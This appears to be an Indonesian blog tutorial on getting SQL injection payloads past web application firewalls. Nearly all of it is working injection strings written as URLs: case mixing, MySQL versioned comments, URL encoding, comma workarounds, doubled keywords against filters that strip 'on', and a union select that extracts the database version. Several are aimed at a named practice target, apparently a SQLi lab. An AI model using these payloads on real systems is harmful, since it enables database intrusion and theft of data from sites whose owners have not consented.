Analisa Dan Cara Bypassing WAF

Postingan Kedua tentang Analisa dan cara Bypassing WAF .
Oke langsung saja ,Beberapa SQL injector hanya memakai query bypass tanpa menganalisa bagian kata yg di block oleh WAF ( Web Aplication Firewall )

Sebelum nya Testing dlu ya gaes

Sebelum nya nih keterangan
Tentang Balance ,titik injeksi dan comment .


Halah ,langsung ae :v

( kalau Order by ga work . coba pakai group+by )

>> http://www.webshit.com/vulnscript.php?id=1+order+by+1--+-

>> http://www.webshit.com/vulnscript.php?id=1+group+by+1--+-

~ Klau masih kena waf jg coba pake comment C style

>> /*!group*//**/by
>> Order/**!**/by
>> Order/**_**/by

~ Lanjut test union dan select :

>> http://www.webshit.com/vulnscript.php?id=1+union--+- [waf]

>> http://www.webshit.com/vulnscript.php?id=1+select--+- [No waf]

~ brarti string union di block .
kita coba bypass dngan kombinasi Uppercase dan lowercase .

>> http://www.webshit.com/vulnscript.php?id=1+uNiOn--+- [waf Bypassed]

~ atau klo masih kena Waf coba dgn comment C style .

>> http://www.webshit.com/vulnscript.php?id=2 /*!uNiOn*/--+-

>> http://www.webshit.com/vulnscript.php?id=1+/*!50000uNiOn*/--+-

~ okay bypassed 😀

Tahap berikut nya Testing gabungan Union Select :

>> http://www.webshit.com/vulnscript.php?id=1+union--+- [no waf]

>> http://www.webshit.com/vulnscript.php?id=1+select--+- [no waf]

~ tapi saat

>> http://www.webshit.com/vulnscript.php?id=1

~ brarti Waf block kombinasi kata union select ..
kita bs bypass dgn :

>> http://www.webshit.com/vulnscript.php?id=1+union+distinctROW+select--+-

>> http://www.webshit.com/vulnscript.php?id=1+union%23%0aselect--+-

~ Bypass dengan url Encode jg bs

>> http://www.webshit.com/vulnscript.php?id=1+%75Nion+%73eLect--+-

>> %75 = u
>> %%73 = s

~ Lanjut Step berikut nya

>> http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1--+- [no waf]

>> http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/

~ Hmm ketika menambah (,) kena waf , brarti koma harus dibypass 😀

>> http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2--+- [bypassed]

>> http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2,~~3,~~4,~~5--+- [bypassed]

>> http://www.webshit.com/vulnscript.php?id=1+uNiOn(/**_**/(seLeCt(1),(2),(3),(4),(5))-- - [bypassed]

~ Pernah Nemu gak website yg slalu mengahpus / mereplace dgn "" query string kita saat injeksi ??

~ live target :

>> http://zixem.altervista.org/SQLi/level3.php?item=3'+union--+-

~ Result :

( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni-- -'' at line 1 )

~ dari situ kita bs liat kalau "on" pada "union" hilang :v

~ bagaimana fix query sehingga utuh union nya ??

~ tambahin aja (on) di union nya jadi unionon  :v
~ logika nya ketika program menghapus on yg pertama ,kita masih punya on yg kedua :v

>> http://zixem.altervista.org/SQLi/level3.php?item=3'+unionon--+-
wokee query Fixed

~ selanjutnya sperti biasa

>> http://zixem.altervista.org/SQLi/level3.php?item=3%27+and+0+unionon+select+concat(%27versailles%20::%20%27,version()),2,4,5--+-

~ Alternativ bypass union select jika langkah diatas blm bs bypass .

>> uni<>on sel<>ect

>> uni*on sel*ect

>> (uni)(on) (sel)(ect)

>> uni\on sel\ect

~ Error' Report Yang Muncul Adalah Hint Bagi Anda 😊

Sekian Dan Terimakasih.

Share this post